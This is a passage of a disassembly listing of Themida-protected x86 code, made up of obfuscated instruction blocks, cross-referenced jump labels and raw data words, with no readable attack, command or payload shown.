		dd 89097157h, 243C8BFBh, 104C483h, 35E95BD8h, 0BDFFFFDBh
		dd 794C44B2h, 0FFDD68E9h, 0BEB81FFh, 13E6F54h, 0BC381C3h
		dd 583E6F54h, 31241C33h, 1C33241Ch, 24248B24h, 8B2434FFh
		dd 89562414h, 4C681E6h,	83000000h, 0E95604C6h, 0FFFFEEE6h
; ---------------------------------------------------------------------------


loc_559138:				; CODE XREF: Themida_:005561FDj
		mov	[esp], edi
		push	edx
		jmp	loc_55B634
; ---------------------------------------------------------------------------


loc_559141:				; CODE XREF: Themida_:00553E49j
		mov	esi, 7EF3003Eh
		mov	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 74503468h
		push	ebx
		mov	ebx, 0F33F34A6h
		sub	ecx, ebx
		pop	ebx
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_560D0E
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4EC8124h, 54000000h,	5624048Fh, 4BEh, 24740100h, 81595E04h
		dd 4C1h, 78B5E900h, 0CB810000h,	3D872BAFh, 0FFC67BE9h
		dd 0E18951FFh, 6819E9h,	80DBF600h, 0DD2097F3h, 0BBED805Bh
		dd 8059EB28h, 57E945C3h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5591AF:				; CODE XREF: Themida_:0055FBA2j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 773EB7CFh
		add	eax, 74D01BD1h
		add	eax, 4C37256Bh
		sub	eax, 27063335h
		jmp	loc_55DD7F
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 240C8B00h, 8104C483h, 4C3h,	241C8700h
		dd 5224248Bh, 7275E9h
		db 0, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5646F5
; ---------------------------------------------------------------------------
		dd 5BD8895Dh, 0FFF3E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55920D:				; CODE XREF: Themida_:0055BB5Cj
		push	ebp
		mov	ebp, 4F35073Eh
		or	ebp, 78043A44h
		jmp	loc_551082
; ---------------------------------------------------------------------------
		dw 4BBDh
		dd 813B1B2Ch, 1B2F47EDh, 5DEF893Bh, 0FFBD0CE9h,	0C7815FFFh
		dd 4, 8704EF83h, 45E9243Ch
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559243:				; CODE XREF: Themida_:005558E2j
		mov	[esp], ebx
		push	4B09h
		jmp	loc_55E808
; ---------------------------------------------------------------------------
		dd 6CFBD55h, 0EA31546Ch, 0E9D0015Dh, 0FFFFECADh, 0E9BEF680h
		dd 8EB4h, 31BAF681h, 0E2E92BE1h, 8F00009Eh, 248B2404h
		dd 66F1F624h, 66CCB60Fh, 664F9A68h, 66240C89h, 66C8B60Fh
		dd 5BE99C51h, 89FFFF75h, 2EE92434h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_562355
; ---------------------------------------------------------------------------
		dw 8035h
		dd 1257100h, 0C38358C3h, 241C8704h, 2924248Bh, 1AE953D8h
		dd 89FFFFFEh, 0E789243Ch, 4C781h, 50520000h, 3F71A8B8h
		dd 0E948481Ah, 313Dh, 0C581F501h, 6BFA3B72h, 44E9565Eh
		dd 54000069h, 7E2EE958h, 0C189FFFFh, 8AB3E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559302:				; CODE XREF: Themida_:00551C37j
		pop	edx
		push	edx
		mov	dl, 0E7h
		add	al, dl
		pop	edx
		push	ebx
		mov	bh, 0E9h
		and	bh, 0B3h
		shl	bh, 1
		and	bh, 0BAh
		add	bh, 0C7h
		not	bh
		sub	bh, 0F1h
		sub	al, bh
		pop	ebx
		sub	al, bh
		jmp	loc_555637
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 5128658Bh, 2409EF81h, 0FA891120h, 8FC8E95Fh,	5866FFFFh
		dd 49E9EA28h, 56000084h, 5A56DE89h, 0FFD34BE9h,	74FF56FFh
		dd 0E95E0424h, 0FFFFEFCFh, 1B0DB850h, 90680EBBh, 8900007Dh
		dd 58BB241Ch, 8179D576h, 0A168ABE3h, 91C38117h,	211ACAE7h
		dd 241C8BD8h, 0FFCC73E9h, 241C89FFh, 59B5E9h, 0E9FA0100h
		dd 0FFFFB87Eh, 0BF243C89h, 25E677F5h, 5DC0E9h, 549CBD00h
		dd 8145403Dh, 6667DCE5h, 2ECD8114h, 812F4A34h, 0A2ECE1C5h
		dd 0BD4AE946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5593BA:				; CODE XREF: Themida_:00565521j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_552312
; ---------------------------------------------------------------------------


loc_5593C8:				; CODE XREF: Themida_:0056145Ej
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_5538DC
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 95h
		dd 157D95Dh, 0B6BA52EFh, 0C17E2919h, 0EA8103E2h, 6CF508DCh
		dd 9941F281h, 0D729D38Ah, 217AE9h, 5AD00100h, 0BA52D001h
		dd 5CC96686h, 0CA81E2D1h, 2B9B41C7h, 0B10BF281h, 0D029A9CBh
		dd 2434FF5Ah, 4C4815Ah,	8B000000h, 0C481243Ch, 4, 5E5AE9h
		dd 58C68900h, 8158C631h, 2702F9EBh, 71C38130h, 0E968682Eh
		dd 0AAE0h, 5B2434FFh, 8904EC83h, 58542404h, 0D4268h, 24148900h
		dd 8616E957h, 3C87FFFFh, 941FE924h, 0EEC1FFFFh,	4D2FE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55946E:				; CODE XREF: Themida_:00564905j
		mov	dh, 47h
		sub	dh, 3
		and	dh, 0CAh
		shl	dh, 1
		jmp	loc_56206F
; ---------------------------------------------------------------------------
aIcs		db '`',0
		align 4


loc_559484:				; CODE XREF: Themida_:00555951j
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_55A36F
; ---------------------------------------------------------------------------
		dd 0EC83E389h, 24348904h, 0D53613BEh, 3FC68107h, 560E9D7Eh
		dd 8B2414F7h, 0C4812434h, 4, 56BD5546h,	811672B4h, 305987EEh
		dd 4FEE8131h, 11B7515h,	4FC681EEh, 0E91B7515h, 2EB3h, 24048F5Dh
		dd 5A85E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5594DE:				; CODE XREF: Themida_:00560455j
		pop	eax
		push	ecx
		push	ebx
		mov	ebx, 0AEA63C7h
		jmp	loc_55A3A3
; ---------------------------------------------------------------------------
		db 81h
		dd 80274FEBh, 240C8B05h, 4F02E9h
		db 0
; ---------------------------------------------------------------------------


loc_5594F9:				; CODE XREF: Themida_:00555D9Cj
		add	edx, ebp
		sub	edx, 39FC6B8Ch
		jmp	loc_564E69
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 19589D1Ch, 0E99C2404h, 0FFFF72DAh
; ---------------------------------------------------------------------------


loc_559514:				; CODE XREF: Themida_:00552D72j
		pop	eax
		add	esp, 4
		jmp	loc_55300A
; ---------------------------------------------------------------------------
		dd 81C20158h, 3A7F4BEAh, 0C201586Eh, 6F60BF57h,	46E95450h
		dd 53FFFFEEh, 4BBh, 5BDD0100h, 5C242C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_557A97
; ---------------------------------------------------------------------------
		dd 815BD901h, 4C1h, 240C8700h, 3124248Bh, 0FF04246Ch, 815D2434h
		dd 4C4h, 0D1685800h, 89000069h,	0A8BB241Ch, 310E1E3Ch
		dd 241C8BD8h, 509AE9h, 21E95700h, 66FFFFB5h, 51240C8Bh
		dd 0C181E189h, 4, 2C181h, 0C870000h, 0BF66E924h, 6C810000h
		dd 7210424h, 48B0987h, 4C48124h, 0FF000000h, 348B2434h
		dd 4C48124h, 0E9000000h, 0C1Ah
; ---------------------------------------------------------------------------


loc_5595C4:				; CODE XREF: Themida_:0056374Cj
		push	ebx
		push	dword ptr [esp]
		pop	edx
		push	76B5h
		mov	[esp], edx
		jmp	loc_550C35
; ---------------------------------------------------------------------------


loc_5595D6:				; CODE XREF: Themida_:00557B0Cj
		shl	edx, 5
		xor	edx, 788127B7h
		inc	edx
		jmp	loc_55AA1A
; ---------------------------------------------------------------------------
		db 0B8h, 0C0h, 65h
		dd 0D8F76CBFh, 0DA63A035h, 7CD20D6Ch, 51053C88h, 0F772963Fh
		dd 9AEFE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559602:				; CODE XREF: Themida_:00564A24j
		pop	eax


loc_559603:				; CODE XREF: Themida_:005653C5j
		push	0C8h
		mov	[esp], ebx
		jmp	loc_557974
; ---------------------------------------------------------------------------
		dd 83242489h, 59042404h, 4C181h, 0E9810000h, 4,	0B06DE9h
		dd 40478F00h, 0FF71BDE9h, 240489FFh, 893AE9h, 24248B00h
		dd 24040166h, 71A8E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559646:				; CODE XREF: Themida_:00560A93j
		and	ebx, eax
		jmp	loc_556282
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 0B61DE9EBh, 62680000h, 0E900006Ch,	0AC70h
; ---------------------------------------------------------------------------


loc_559664:				; CODE XREF: Themida_:0055EB53j
		push	ebx
		mov	ebx, 2F027EC9h
		inc	ebx
		xor	ebx, 170708EEh
		push	481Ch
		mov	[esp], ebx
		add	dword ptr [esp], 2B8F6CE8h
		jmp	loc_558579
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 3Ch
		dd offset dword_59B868
		dd 243C8900h, 55A9E9h, 0FFE88300h, 0FFFFFF05h, 31EDE9FFh
		dd 4890000h, 0E9555324h, 6C97h,	4C281h,	0E9520000h, 0AECAh
		dd 0A8B4E951h, 0F0000000h, 0E924148Bh, 0FFFFAE9Ah, 4C481h
		dd 348B0000h, 4C48124h,	81000000h, 4C6h, 4C68100h, 33000000h
		dd 43E92434h, 9FFFFF1h,	0F1815AD1h, 0FF9DEFFh, 159C889h
		dd 0EC8158C5h, 4, 0E9243C89h, 0B0BFh, 0E9240C8Bh, 217Eh
		dd 4EC81h, 34890000h, 3741BE24h, 0EC817B13h, 4,	0BD242C89h
		dd 0EA1414CEh, 2587C681h, 0EE015E9Eh, 2587EE81h, 55E95E9Eh
		dd 6800005Ch, 7042h, 0E9241489h, 0FFFFB520h
; ---------------------------------------------------------------------------


loc_55974C:				; CODE XREF: Themida_:00550FF3j
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_550A83
; ---------------------------------------------------------------------------
		dd 0E952C601h, 0FFFFEF56h, 0EA80DAF6h, 5AD3008Ch, 0EB80CB00h
		dd 240C8BD1h, 0FFF0E3E9h, 0EA8166FFh, 2966546Eh, 0B86650CAh
		dd 8AE96F64h, 52FFFF75h, 4BAh, 5F662D00h, 0D001623Fh, 3F5F6605h
		dd 0E8835A62h, 24043304h, 8857E9h, 9AE95000h, 89FFFF97h
		dd 4C581E5h, 83000000h,	2C8704C5h, 52515C24h, 7D376568h
		dd 9AE95A07h, 290000B0h, 0EA815EF2h, 7B62B1DEh,	34FFD029h
		dd 89515A24h, 4C181E1h,	83000000h, 0C8704C1h, 24248B24h
		dd 0BD763605h, 4335B1Dh, 24043124h, 0A53DE9h, 1C875E00h
		dd 0A3E95C24h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559803:				; CODE XREF: Themida_:00558A7Dj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_556902
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 8Bh
		dd 51E9243Ch
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55981F:				; CODE XREF: Themida_:0055E5C5j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		jmp	loc_553A5E
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 74h
		dd 81479E6Fh, 0C55206EDh, 81DD014Bh, 0C55206C5h, 8720E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55984E:				; CODE XREF: Themida_:005561A7j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esi
		mov	esi, 1CA7720Fh
		sub	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_560D32
; ---------------------------------------------------------------------------


loc_559878:				; CODE XREF: Themida_:0055509Cj
		shr	dl, 8
		push	small 0
		sub	[esp], dl
		mov	dl, [esp]
		add	esp, 2
		shl	dl, 2
		xor	dl, 0FEh
		jmp	loc_557AA2
; ---------------------------------------------------------------------------
		db 66h
		dd 66650FBAh, 0C166DAF7h, 0C16607E2h, 516604E2h, 6D35B966h
		dd 0FFFEC8E9h, 259168FFh, 6AE92D49h, 4F0000A0h,	0FFCE35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5598BD:				; CODE XREF: Themida_:0055276Dj
		jz	loc_557FD9
		sub	esp, 4
		mov	[esp], esi
		push	43E475ABh
		pop	esi
		dec	esi
		push	esi
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		jmp	loc_553D77
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 6F08E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5598E6:				; CODE XREF: Themida_:00552663j
		push	7D5Ah
		push	esp
		pop	dword ptr [esp]
		push	2984h
		jmp	loc_551568
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFF8F6Eh, 0FBE9D800h, 0FF00001Fh, 33E92434h
		dd 89000034h, 0E9562404h, 4681h, 16DEF81h, 348B06F8h, 4C48124h
		dd 0F7000000h, 84E781D7h, 5223E62Ch, 72579EBAh,	0B4BB5361h
		dd 11C5019h, 241C8BDAh,	0E904C483h, 4CFCh
; ---------------------------------------------------------------------------


loc_55994C:				; CODE XREF: Themida_:00559BA1j
		sub	ebx, 73017EEAh
		pop	ecx
		push	edi
		mov	edi, 104E76F3h
		inc	edi
		add	edi, 0FD262C7h
		sub	edi, 17AE3CE6h
		shl	edi, 2
		add	edi, 419FEDD9h
		add	ebx, edi
		pop	edi
		shr	ebx, 7
		push	eax
		mov	eax, 57EB3D63h
		or	ebx, eax
		pop	eax
		not	ebx
		push	eax
		push	5F30h
		mov	[esp], edi
		mov	edi, 636B0616h
		mov	eax, 44A4FBE9h
		add	eax, edi
		pop	edi
		sub	ebx, eax
		jmp	loc_551DE7
; ---------------------------------------------------------------------------
aZSuo		db 'O',0
		align 4
		dd 5EE9D101h, 8300006Dh, 0C8904ECh, 4927B924h, 0DFE96646h
		dd 88000020h, 0EB8853D5h, 313CE9h, 6E24E900h, 2CACFFFFh
		dd 0E8686614h, 14896615h, 0E9E9B224h, 0FFFFE0FBh, 0C4E95D5Dh
		dd 830000ABh, 0C28104C4h, 4, 4BF57h, 89500000h,	405E0h
		dd 42D0000h, 87000000h,	248B2404h, 240C8924h, 0B2F1E9h
		dd 0F7815A00h, 473E7908h, 0A281E9h, 2F86BE00h, 42E94192h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559A23:				; CODE XREF: Themida_:00558112j
		add	esp, 4
		jmp	loc_56454B
; ---------------------------------------------------------------------------
		db 29h
		dd 0EC835BDFh, 243C8904h, 0C781E789h, 4, 4EF81h, 0A2E90000h
		dd 81FFFFC5h, 4C3h, 241C8700h, 0E924248Bh, 44A3h, 81241C8Bh
		dd 4C4h, 68515700h, 53E54C60h, 4D41E9h,	4CF38000h, 0D800EE04h
		dd 1C8BEE2Ch, 0B0D6E924h, 4B8FFFFh, 1000000h, 24048BC3h
		dd 0FFAD62E9h, 4BBFFh, 0DA010000h, 2414875Bh, 8F24248Bh
		dd 248B2404h, 24040024h, 8377E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559AAA:				; CODE XREF: Themida_:0055833Fj
		add	ebp, 4
		jmp	loc_55599C
; ---------------------------------------------------------------------------
		db 5Bh,	51h, 68h
		dd 4, 81240C8Bh, 4C4h, 2CBE5600h, 0E95C8F2Ch, 3FF9h, 4BA52h
		dd 89570000h, 5FFE89D7h, 54D2E9h, 81E38900h, 4C3h, 0BB535200h
		dd 78D8621Bh, 0E95BDA89h, 0A890h, 815DEB09h, 0F66BD6C3h
		dd 9702E925h, 8966FFFFh, 50662414h, 6CDCE99Ch, 0FA08FFFFh
		dd 0F2805B66h, 5AD4887Fh, 2E7EE9h, 0DFF75900h, 39DAEF81h
		dd 0EB815D03h, 79AB6A04h, 0FFA9D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559B35:				; CODE XREF: Themida_:005648FFj
		mov	ebp, [esp]
		push	ebp
		jmp	loc_5636D9
; ---------------------------------------------------------------------------
		dw 37BFh
		dd 810DEE49h, 0C51AC2F7h, 0DFF7471Dh, 0FF8FDFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559B51:				; CODE XREF: Themida_:0055108Dj
		pop	ebp
		add	ebp, ebx
		pop	ebx
		jmp	loc_564F9A
; ---------------------------------------------------------------------------


loc_559B5A:				; CODE XREF: Themida_:0056273Cj
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		pop	ebx
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		xchg	esi, [edi+24h]
		push	67D1h
		mov	[esp], ebx
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 129901F6h
		mov	ecx, 29737CFEh
		xor	ecx, edx
		pop	edx
		mov	ebx, 0E79C00B1h
		add	ebx, 73017EEAh
		add	ebx, ecx
		jmp	loc_55994C
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2F786855h, 0C1D3F74Bh, 0EBC106E3h, 14C38104h, 8175C904h
		dd 0FF7673C3h, 4FE95244h, 8F00007Ah, 248B2404h,	4EC8324h
		dd 1B65E9h
		db 0
; ---------------------------------------------------------------------------


loc_559BD5:				; CODE XREF: Themida_:00562B19j
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_552E16
; ---------------------------------------------------------------------------


loc_559BE4:				; CODE XREF: Themida_:00552F40j
		mov	ebx, [esp]
		jmp	loc_56394C
; ---------------------------------------------------------------------------
		dd 4C681h, 0EE810000h, 4, 5C243487h, 0B8240489h, 4, 158C689h
		dd 40685EF0h, 89000045h, 84E92404h, 57FFFF8Bh, 0CC7114BFh
		dd 0E1CF8115h, 0E957E323h, 0FFFFC91Eh, 200CEE80h, 0D19BE9F1h
		dd 48BFFFFh, 4C48324h, 405h, 40500h, 4870000h, 24248B24h
		dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFFDF15h, 1E6B9905h
		dd 0E9D80117h, 44B8h, 81242489h, 42404h, 56590000h, 281820BEh
		dd 0D6F74676h, 0E908E6C1h, 0A064h, 592F2Ch, 0E58058C5h
		dd 98E95362h, 0BAFFFF98h, 0F3D6DAFh, 0FFA749E9h, 0F5895BFFh
		dd 5DEB295Eh, 0FFB7CBE9h, 240C89FFh, 582434FFh,	0AD4E9h
		dd 44A7B900h, 0E1C130FCh, 0F1814103h, 0F95578B7h, 0FFA618E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559CC5:				; CODE XREF: Themida_:00564B05j
		shl	esi, 5
		jmp	loc_55C6FB
; ---------------------------------------------------------------------------
		db 0BBh, 58h, 18h
aVssl		db 'S',9,0
		dw 2900h
		dd 0F363E9E8h, 0EA29FFFFh, 81EA015Dh, 1B1471C2h, 78CAE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559CEE:				; CODE XREF: Themida_:00561E33j
		pop	edi
		push	esi
		jmp	loc_5585B7
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0CECBE951h, 58BDFFFFh, 1CF8F15h, 0D9095DEBh,	0C3BE565Bh
		dd 311D4AC4h, 24348BF1h, 4C481h, 0F9310000h, 0ADE9E9h
		dd 0FD885100h, 0FFADC5E9h, 73E953FFh
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559D2F:				; CODE XREF: Themida_:00550E83j
		push	ebp
		jmp	loc_557947
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 240C8B54h, 5204C483h, 2823B951h, 5FBA09F0h, 0E902776Ch
		dd 0FFFFC386h
; ---------------------------------------------------------------------------


loc_559D50:				; CODE XREF: Themida_:0055EC7Aj
		pop	esp
		push	4097h
		mov	[esp], ecx
		jmp	loc_552AA1
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4B850h, 0C3810000h, 4B7A6F6Ah, 0EB81C301h, 4B7A6F6Ah
		dd 0A32AE958h, 5B54FFFFh, 0BD555152h, 635D126Ah, 8251F6B9h
		dd 9682E991h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559D92:				; CODE XREF: Themida_:005538E9j
		not	ecx
		push	edi
		mov	edi, 0D7F3708Ah
		sub	ecx, edi
		pop	edi
		push	ecx
		sub	esp, 4
		jmp	loc_561B44
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0C8D1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559DAE:				; CODE XREF: Themida_:0055A31Ej
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55166D
; ---------------------------------------------------------------------------
		dd 0E8282F04h, 0FFFEB7E9h, 6A20E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559DCE:				; CODE XREF: Themida_:0055266Aj
		push	5F88h
		mov	[esp], edx
		mov	edx, 4
		add	edi, 5B9934ABh
		add	edi, edx
		sub	edi, 5B9934ABh
		jmp	loc_56399E
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 81000000h,	2C3h, 241C8700h, 0C0B60F5Ch, 0E987048Fh
		dd 0FFFF69E2h
; ---------------------------------------------------------------------------


loc_559E0C:				; CODE XREF: Themida_:00558875j
		mov	ebp, 0A492E2F3h
		jmp	loc_55E319
; ---------------------------------------------------------------------------


loc_559E16:				; CODE XREF: Themida_:005524C1j
		push	0
		sub	[esp], ebx
		pop	ebx
		shl	ebx, 2
		sub	ebx, 0EDDA3F08h
		push	ebx
		mov	ebx, 6C3430B7h
		jmp	loc_55CA7B
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 4B9h, 67DBE900h, 0C8890000h, 58C78959h
		dd 1A2AE9h, 3ADD6800h, 1FE90000h, 81000026h, 0FA4302E6h
		dd 66D5E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559E66:				; CODE XREF: Themida_:0055657Bj
		mov	[esp], esi
		jmp	loc_555D46
; ---------------------------------------------------------------------------
		dw 0CFFh
		dd 66E99C24h, 5DFFFF7Bh, 4670E981h, 0CA0992ECh,	173DE9h
		dd 25EB8100h, 8981B057h, 0E3E95BDAh, 83FFFF6Fh,	58042404h
		dd 405h, 167CE900h, 15B0000h, 0C875AD1h, 24248B24h, 5FDB68h
		dd 0FA5DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559EB6:				; CODE XREF: Themida_:005508C3j
		add	ebx, ecx
		sub	ebx, 60BE0E09h
		jmp	loc_554530
; ---------------------------------------------------------------------------
		db 33h
		dd 505C242Ch, 954C44B8h, 58C60122h, 28E9FE01h, 8B00009Fh
		dd 87E92404h, 66FFFF71h, 9C240431h, 0FF6905E9h,	48B5AFFh
		dd 4C48124h, 0FF000000h, 3CE92434h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559EFB:				; CODE XREF: Themida_:0055418Ej
		sub	edx, 136FF302h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, ebx
		sub	ebp, 43BC1033h
		pop	ebx
		jmp	loc_55BE93
; ---------------------------------------------------------------------------
		db 89h
		dd 3CE92434h, 5FFFFF93h, 141EF781h, 0F8890E7Bh,	0E9C1215Fh
		dd 0FFFFBFB2h
; ---------------------------------------------------------------------------


loc_559F30:				; CODE XREF: Themida_:0055BBCAj
		push	eax
		jmp	loc_55556F
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 49BF5756h, 0C1240635h, 0C78104EFh, 7F1C2556h, 295FFE89h
		dd 24348BF5h, 9968h, 24148900h,	0C281E289h, 4, 8704C283h
		dd 248B2414h, 206F8924h, 46C7685Dh, 34890000h, 4EC8124h
		dd 89000000h, 0F8E9240Ch, 0FE000014h, 68C380CBh, 0FFFAE0E9h
		dd 3FEA81FFh, 1896F25h,	0BADEE9D3h, 0C15BFFFFh,	0EBC106EBh
		dd 0F3814304h, 32343A21h, 895BDA89h, 8D1AE9D7h,	0D1010000h
		dd 706B685Ah, 0B8E90000h, 68FFFF8Fh, 38E0h, 0B9240C89h
		dd 55E3AF9h, 0C8BCF89h,	5A116824h, 3C890000h, 40E95424h
		dd 29FFFFE1h, 0E95259CAh, 6798h, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 55C243Ch,	4, 0E904C083h, 0FFFFE9A3h, 0FF67E1E9h
		dd 64CEB8FFh, 6C8141BAh, 2B540824h, 440179FCh, 44810824h
		dd 2B540824h, 0FF5879FCh, 3C8B2434h, 4C48324h, 4C481h
		dd 48F0000h, 1DFA6824h,	0DAE90000h, 89FFFF6Ah, 0F3E9242Ch
		dd 89000068h, 4C581E5h,	81000000h, 4EDh, 242C8700h, 240C895Ch
		dd 0FF9027E9h, 4C583FFh, 5C242C87h, 31243433h, 75E92434h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A077:				; CODE XREF: Themida_:00558214j
		push	esp
		pop	edi
		jmp	loc_5582C8
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 81435C24h, 6639A0EBh, 4513E946h, 0E9590000h,	7F70h
		dd 53F9C681h, 0F58941A1h, 99B9515Eh, 0E9660C45h, 0FFFFAC81h
		dd 0B6241489h, 0E9CEFEDEh, 0FFFF9FA5h
; ---------------------------------------------------------------------------


loc_55A0B4:				; CODE XREF: Themida_:0056150Aj
		mov	esi, ebp
		pop	ebp
		and	esi, 5D0C26B3h
		sub	esi, 4400249Ch
		sub	ebp, 45375B34h
		add	ebp, esi
		jmp	loc_556C22
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 0FFD3A3E9h, 243C89FFh, 42474FFh, 0A755E95Fh
		dd 0C1810000h, 2F175212h, 0EE70BF57h, 8EE9DB2Fh, 5CFFFF9Bh
		dd 0E99CC885h, 0FFFF66EAh, 1DEE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A10A:				; CODE XREF: Themida_:00552DA8j
		pop	esi
		push	edi
		mov	edi, 532F14D4h
		dec	edi
		push	esi
		mov	esi, 7FA23954h
		jmp	loc_55F44D
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 0E9h
		dd 2DD8h, 507F24BDh, 0E9EA8908h, 80E0h,	4EC8359h, 54243C89h
		dd 7F97E95Fh, 5356FFFFh, 767ACBBh, 0A2F38147h, 81590C34h
		dd 0CF03A3C3h, 4BD3F733h, 56F5B951h, 0CB29A60Bh, 5BDE8959h
		dd 4D5068h, 9FE1E900h, 0F581FFFFh, 569E5EC6h, 2522C581h
		dd 0B8501DFBh, 6E11BD0h, 65E9C509h, 5DFFFFC9h, 924F681h
		dd 0F5012100h, 65CD685Eh, 14890000h, 4EC8324h, 68243C89h
		dd 3AD7D33h, 56E7D15Fh,	472C15BEh, 0AEBE916h, 3C8B0000h
		dd 3087E924h, 0C8B0000h, 4C48124h, 51000000h, 0C5FEDDB5h
		dd 50BAF580h, 5DFCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A1CD:				; CODE XREF: Themida_:00552436j
		and	dh, 0Eh
		sub	dh, 0EFh
		add	bl, dh
		pop	edx
		sub	bl, 0E9h
		jmp	loc_55C664
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 57000000h,	2750E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A1ED:				; CODE XREF: Themida_:0055B639j
		mov	edi, edx
		pop	edx
		sub	edi, 5E5A5824h
		jmp	loc_550F39
; ---------------------------------------------------------------------------


loc_55A1FB:				; CODE XREF: Themida_:0055B4B2j
		mov	ecx, 38h
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, edx
		jmp	loc_55B946
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA3EEEC1h, 0C181416Ah, 0AE5D6188h, 2D59C801h, 56F93EB5h
		dd 34FFC301h, 89535824h, 4C381E3h, 50000000h, 4B8h, 58C30100h
		dd 5C241C87h, 0EB81EB01h, 19E81467h, 83242C8Bh,	4AE904C4h
		dd 0F6FFFFB4h, 5AF380D3h, 8071F380h, 0DD00A6EDh, 0E9A6C580h
		dd 0FFFF9C85h
; ---------------------------------------------------------------------------


loc_55A26C:				; CODE XREF: Themida_:0055B854j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_55628D
; ---------------------------------------------------------------------------
		dd 0D9F8C281h, 8956FFBCh, 0E9F389D6h, 569Ah
; ---------------------------------------------------------------------------


loc_55A290:				; CODE XREF: Themida_:0055E2F5j
		push	42C7h
		mov	[esp], eax
		push	ebx
		push	22FEh
